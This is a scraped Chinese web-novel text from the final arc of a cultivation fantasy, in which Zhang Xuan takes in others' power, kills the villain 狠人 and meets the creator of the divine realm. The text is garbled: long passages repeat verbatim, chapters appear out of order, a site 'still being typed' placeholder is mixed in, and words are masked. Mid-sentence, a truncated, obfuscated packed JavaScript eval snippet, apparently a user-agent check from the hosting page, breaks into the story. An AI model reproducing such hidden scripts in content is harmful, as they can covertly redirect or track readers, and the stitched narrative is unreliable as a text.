不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第181章 这才是特效药 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 